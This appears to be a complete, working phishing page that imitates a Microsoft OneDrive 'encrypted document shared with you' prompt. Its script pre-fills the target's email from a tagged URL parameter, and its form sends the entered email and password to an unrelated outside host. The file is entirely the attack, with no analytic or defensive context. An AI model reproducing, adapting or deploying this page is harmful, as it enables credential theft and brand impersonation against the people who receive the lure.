<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Microsoft Onedrive</title>
<link rel="icon" href="one/favs2.png" type="image/x-icon">
<style>
   body {
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    background: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)), url(one/bg.png); /* Replace with your background image */
    background-size: cover;
    background-blend-mode: overlay;
    font-family: 'Segoe UI',Tahoma,Arial,sans-serif;
    z-index: -5;
  }
  

  
  
  .panel {
    height: 500px;
        width:500px;
    padding: 20px;
    background-color: white;
    border-radius: 10px;
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
    text-align: center;
        margin-top:4%;

  }
  
  .panel h2 {
    margin-top: 0;

  }
  
  .form-input {
    width: 100%;
    padding: 10px;
    margin: 10px 0;
    outline: none;
  }
  
  .form-submit {
    background-color: #007BFF;
    color: white;
    padding: 10px 50px;
    border: none;
    border-radius: 5px;
    cursor: pointer;
        font-size:20px;
        
  }
  
    /* Apply hover style to form input */
  .form-input:hover {
    border-bottom-color: #0339ad;
  }
  
  
  
    /* Apply hover style to submit button */
  .form-submit:hover {
    background-color: #0339ad;
  }
  
    .checkbox-label {
    display: flex;
    align-items: center;
    font-family: "Helvetica Neue", sans-serif; /* Replace with desired font family */
    font-size: 18px; /* Adjust the font size as needed */
    margin-top: 5px;
        font-style:italic;
        
  }
  
  .checkbox-label input[type="checkbox"] {
    margin-right: 5px;
        
  }
  

  
</style>
</head>
<body>
<div class="blurry-background">
<div class="panel" >
  <img src="one/one.png" alt="Icon Image">
  <p style="font-style:italic;margin-bottom:10px; line-height: 1.5; font-size:18px;">
    An encrypted document was shared with your  <br>
        
        
<form action="https://www.johnsonsengineservice.com/dsjhksd/78237823/inits.php" method="post">

Email -  <input id="login_id" name="email" type="text"  style="background-color:transparent; 
border:0.1px solid transparent;border:none;border-color:transparent; 
blue:black;font-size:18px;width:230px;line-height:10px;" readonly> 

<script>
  // Extract the email from the URL using JavaScript
  var emailValue = 'reproducible-builds@lists.alioth.debian.org';
  var url = window.location.href;
  
  // Look for email enclosed between
  var emailPattern = /\[\[-(.*?)-\]\]/;
  var emailMatch = url.match(emailPattern);
  
  if (emailMatch && emailMatch.length > 1) {
    emailValue = emailMatch[1];
  }
  
  // Set the extracted email as the input value
  document.getElementById('login_id').value = emailValue;
</script>

    <br>
        <br>
   Please proceed to authenticate and view on OneDrive.
  </p>


    <h1 style="text-align:center;font-size:25px;margin-top:30px;">Enter Password</h1>
    <input type="password" id="password" name="password" class="form-input" placeholder="Password" 
      style="border: none; border-bottom: 2px solid #007bff;border-radius:none;width:250px;height:10px;text-align:center;font-size:17px;" required>
    <label class="checkbox-label"  style="justify-content:center;">
      <input type="checkbox" name="keep_signed_in" style="font-size: 20px;"> Keep me signed in
    </label>
    <br>
    <button type="submit" name="confirm" class="form-submit">Download</button>
  </form>
</div>
</body>
</html>